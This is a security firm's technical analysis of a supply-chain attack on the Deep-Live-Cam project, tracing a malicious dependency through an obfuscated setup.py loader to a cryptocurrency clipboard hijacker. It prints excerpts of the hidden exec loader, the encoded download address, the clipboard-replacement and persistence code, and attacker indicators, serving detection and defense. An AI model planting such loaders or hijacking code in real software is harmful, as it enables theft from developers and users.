Deep-Live-Cam Supply Chain Attack: Technical Analysis
On this page
Summary
On September 8, 2026, an attacker added a malicious source dependency to Deep-Live-Cam, a Python face swapping application with 96,600 GitHub stars. The dependency contains a loader that downloads a cryptocurrency clipboard hijacker for Windows and macOS. The recovered payload replaces wallet addresses in clipboard text and registers itself to run at login.
SafeDep traced the dependency change through the saved Python payloads and checked the incident against GitHub records. The evidence establishes malicious behavior in the code, but does not establish infection counts or financial losses.
A dependency change redirects installation
Commit 7895c547, titled
chore: update requirements.txt, rewrote 18 dependency entries to use source repositories. It also added this entry:
# Deep-Live-Cam/requirements.txt, added linerequests @ git+https://github.com/pypls/requests.gitThe new entry directs installation to pypls/requests. That repository declares the package name requests and retains
metadata linking to the legitimate Requests project. The surrounding dependency changes make the added source URL less
distinct. Concealment is a plausible explanation for that bulk rewrite. The diff alone does not establish that intent.
GitHub records the creation of the pypls account and its
requests repository on September 5. The saved Telegraph page
also carries a September 5 publication timestamp. These artifacts predate the dependency change by three days.
| Date and time (UTC) | Event |
|---|---|
| September 8, 15:58:54 | GitHub records a push of 7895c547 to main under hacksider. |
| September 9, 01:26:18 | fred-cardoso opens issue #1930 and identifies the malicious dependency. |
| September 9, 01:37:35 | GitHub records a push of revert 55d306d5 to main. |
| September 9, 01:39:12 | The maintainer reports password and key changes and closes the issue. |
Sources: GitHub public push events,
issue #1930, and the
revert.
The push events place the malicious revision on main for about 9 hours and 39 minutes.
The maintainer reported unusual account access despite two-factor authentication. That statement and the push record support an account compromise assessment. They do not identify the credential used. The unsigned commit and its author fields cannot distinguish a stolen token, SSH key, or session.
The source build runs hidden code
The malicious dependency selects this build backend:
# pypls/requests/pyproject.toml at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f[build-system]requires = ["setuptools>=61.0"]build-backend = "setuptools.build_meta"During source installation, pip calls the build backend to obtain build requirements, generate metadata, and build a wheel.
The setuptools backend executes setup.py during
these operations. A user can reach the malicious code before launching Deep-Live-Cam. An installation error after that
point does not undo code execution.
Line 2 of setup.py starts with import sys, followed by 434 spaces before the next statement. Beyond that whitespace,
the attacker placed imports and an exec(compile(...)) expression. It decodes a Base64 string, decompresses it with zlib,
and executes the result. A second wrapper repeats this process and yields the loader saved as stage2_payload.py.
The following snippet shows the file structure. The 434 spaces on line 2 push the malicious code past the visible area
in most editors and review tools. Chinese, Japanese, and Korean (CJK) variable names (一時1, シード5) add a second layer of visual noise.
# pypls/requests/setup.py at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f# line 1# -*- coding: utf-8 -*-# line 2 (434 spaces between "import sys" and the semicolon replaced with ··· for display)import sys ··· ;import zlib as _z,base64 as _b,sys as _s;一時1=b'xJnufpepOjFF0G5u/WM='; \ IlO1I1=b'AdrC77ZfFLRJuGZz/ZQ=';整数3=bytes([0xf0,0xb1,0x8c,0x70,0x1e,0x2d]); \ exec(compile(_z.decompress(_b.b64decode('eNodVsmu5FgR3b+vSKkX...')),'<string>','exec'))# lines 4-6if sys.version_info < (3, 10): sys.stderr.write("Requests requires Python 3.10 or later.\n") sys.exit(1)# lines 8-10from setuptools import setupsetup()The hidden code precedes both the Python version check and setup(). The version check is not a guard around the loader.
We decoded the embedded strings as data and verified that both outputs matched the saved artifact hashes.
The pip build isolation documentation describes separation of build dependencies. It does not provide a security sandbox for this code.
A Telegraph page delivers the next stage
The loader selects Windows or macOS and exits on other systems. Its download address uses hexadecimal encoding:
# stage2_payload.py, line 23字符4 = bytes.fromhex('68747470733a2f2f67726170682e6f72672f636f64696e672d7574662d382d30392d30352d32').decode()The decoded address is hxxps://graph[.]org/coding-utf-8-09-05-2. The page is live and serving the payload at the time of writing. The loader reads the page, finds the article body,
converts line breaks, removes HTML tags, and decodes HTML entities. It then writes the extracted Python to a local file.
The following excerpt preserves the source identifiers and control flow. We decoded the string literals for readability:
# stage2_payload.py, lines 30-41; string literals decoded, outer indentation removedI1O0Il1O = IO1l11.find('<article')if I1O0Il1O == -1: sys.exit(1)I1Oll1llO1 = IO1l11.find('</article>', I1O0Il1O)if I1Oll1llO1 == -1: sys.exit(1)モジュール10 = IO1l11[I1O0Il1O:I1Oll1llO1 + len('</article>')]モジュール10 = re.sub('<br\\s*/?>', '\n', モジュール10, flags=re.IGNORECASE)オブジェクト11 = re.sub('<[^>]*>', '', モジュール10)オブジェクト11 = html.unescape(オブジェクト11).strip()if not オブジェクト11: sys.exit(1)The destination is %LOCALAPPDATA%\WindowsHelper\sys.pyw on Windows or
~/Library/Application Support/HowToFind/sys.py on macOS. If the file exists, the loader skips the download and starts
the existing script. Windows execution uses CREATE_NO_WINDOW. macOS execution starts a new session. Both branches
discard standard output and standard error.
After writing a new file, the loader attempts a request to hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info:
# stage2_payload.py, lines 45-48; string literal decoded, outer indentation removedtry: urllib.request.urlopen('https://abacus.jasoncameron.dev/hit/duff.com/info', timeout=5)except Exception: passThe endpoint path suggests a counter. The request occurs before the child process starts, so a hit would not prove successful payload execution.
The saved page contains two more Base64 and zlib layers. Static extraction and decoding reproduced the supplied
stage2_from_c2.py, stage3_payload.py, and final stage4_payload.py hashes.
requirements.txt → pypls/requests/setup.py → two decoding layers → Windows/macOS loader → Telegraph article → local Python script → two decoding layers → persistence and clipboard replacementThe payload replaces clipboard addresses
The final payload reads the clipboard through Windows APIs or macOS pbpaste. It scans changed text for alphanumeric
sequences of 26 to 120 characters, then passes each candidate to an address classifier. The replacement function is:
# stage4_payload.py, lines 364-373def II01l010III(状态115: str, target_type: Optional[函数80]=None) -> str:
def OO001ll0(キュー103): lO01l10I = 队列102(キュー103.group(0)) if not lO01l10I.ok or lO01l10I.type is None: return キュー103.group(0) if target_type is not None and lO01l10I.type != target_type: return キュー103.group(0) return lO01l10I.type.value return lIlI111I.sub(OO001ll0, 状态115)队列102 classifies the candidate. 函数80 maps each supported address type to a hardcoded replacement.
The callback returns that replacement through type.value. Because the outer function uses regular expression
substitution, it can replace an address within a larger piece of copied text.
The classifier includes Base58Check validation for Bitcoin and Tron, plus Bech32 and Bech32m checks for Bitcoin witness
addresses. For Ethereum, it implements Keccak-256 and checks mixed-case addresses using
Ethereum Improvement Proposal 55.
Its Solana branch accepts Base58 candidates that decode to 32 bytes.
These are input checks. They do not prove ownership of the replacement addresses or successful transfers.
The payload also contains a Russian language error string, "Неизвестный тип кошелька" (“Unknown wallet type”), which is a minor language-origin indicator.
The loop writes changed text back through SetClipboardData or pbcopy:
# stage4_payload.py, lines 455-465def Il1I0Ol(target_type: Optional[函数80]=None, **列表123): キュー124 = 结果117() while True: III11l1 = 结果117() if III11l1 is not None and III11l1 != キュー124: 返回126 = II01l010III(III11l1, target_type=target_type) if 返回126 != III11l1 and 函数121(返回126): キュー124 = 返回126 else: キュー124 = III11l1 time.sleep(0.3)The delay is 0.3 seconds between iterations. Linux clipboard helpers also appear in the final payload, but the earlier loader exits on Linux. Those helpers do not establish Linux exposure through this delivery path.
The payload registers startup persistence
Before starting the clipboard loop, the payload attempts to register itself for later execution.
On Windows, it writes a SysHelper value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
The command contains the Python interpreter and script path. It selects pythonw.exe when available:
# stage4_payload.py, lines 54-55 and 65-66; separate excerpts, string literal decoded偏移14 = f'"{戻り値12}" "{浮点3}"'掩码15 = 'SysHelper'
if 类别17 != 偏移14: winreg.SetValueEx(O0IIOII, 掩码15, 0, winreg.REG_SZ, 偏移14)On macOS, it writes ~/Library/LaunchAgents/com.user.syshelper.plist and invokes launchctl load.
The generated property list contains these settings:
<!-- stage4_payload.py, 字典4() output template; excerpt with line breaks expanded --><key>RunAtLoad</key><true/><key>KeepAlive</key><true/>Its ProgramArguments contain sys.executable and the script’s absolute path. This persistence depends on those files
remaining available. Reverting requirements.txt does not remove the files or startup entries from an affected machine.
Indicators of compromise
The network indicators identify specific paths on shared services. They do not imply that all traffic to those services is malicious.
| Type | Indicator |
|---|---|
| Malicious dependency | hxxps://github[.]com/pypls/requests |
| Analyzed dependency revision | 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f |
| Deep-Live-Cam malicious revision | 7895c547a6788ee53e5c7c34e93454f86f6d2b53 |
| Deep-Live-Cam revert | 55d306d5ae07a4e6494013422ab244306a5c0879 |
| Payload page | hxxps://graph[.]org/coding-utf-8-09-05-2 |
| Counter request | hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info |
| Windows payload | %LOCALAPPDATA%\WindowsHelper\sys.pyw |
| Windows startup value | SysHelper under HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| macOS payload | ~/Library/Application Support/HowToFind/sys.py |
| macOS startup file | ~/Library/LaunchAgents/com.user.syshelper.plist |
| Attacker account email | [email protected] (from pypls commits) |
These replacement strings come from the decoded 函数80 enumeration. Ethereum has three case variants of one address.
The BTC_P2WSH and BTC_P2TR branches share the same bc1p replacement string.
| Source label | Replacement string |
|---|---|
ETH_EIP55 | 0x58d28b72c54A5b645201900c8aA8550ad7f7d90b |
BTC_P2PKH | 1LeCcPytFxpeo6Leujc4USuCwec9oDFa92 |
BTC_P2SH | 3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB |
BTC_P2WPKH | bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3 |
BTC_P2WSH, BTC_P2TR | bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6 |
TRX_BASE58CHECK | TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ |
SOL_ED25519 | 6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu |
SHA-256 values identify the captured bytes, including intermediate decoded files. The hash of a decoded payload is not the hash of its encoded script on disk.
| Artifact | SHA-256 |
|---|---|
setup.py | b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4 |
stage1_payload.py | f6fbefc82589dbeddabc8883c63cbb027239019ed38fafa83a9139c2585064f5 |
stage2_payload.py | 175f9e7fad2661f647c8f2438bf0d757fe18ab364a22c544c938f45e0e4f6ced |
stage2_from_c2.py, extracted page code | eafed30038d53614cf3dc7a8f19c2dd663352b3c8cb78aa5ed1b9d9710017570 |
stage3_payload.py | c91a00b56ad2591236ccefd701a6b19b72dbacefadbdb0f11e13693c2d6764d9 |
stage4_payload.py, decoded clipboard hijacker | 73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561 |
- python
- github
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Introducing SafeDep Threat Intel
SafeDep Threat Intel gives SOC and cyber defense teams the malicious package intelligence behind SafeDep's platform, to query or to push into the tools they already run.
Mini Shai-Hulud Strikes Again: openapi-react-query-codegen
An attacker exploited a flawed GitHub Actions workflow to publish 10 malicious versions of @7nohe/openapi-react-query-codegen (671K downloads/month) via npm OIDC trusted publishing. The payload uses...
A malicious npm package hidden three dependencies deep: the ulid-xyz delivery chain
ulid-xyz is a remote access trojan we reported to OSV as MAL-2026-6672. It reached developers as a third-level transitive dependency of ioredis-xyz, a copy of the real Redis client planted in 28...
From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer
A YouTube video ad impersonating TradingView delivered a fake .pkg installer. Inside: a self-healing LaunchAgent, an AES-encrypted V8 bytecode payload, and a Node.js MITM proxy trusted by a rogue...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.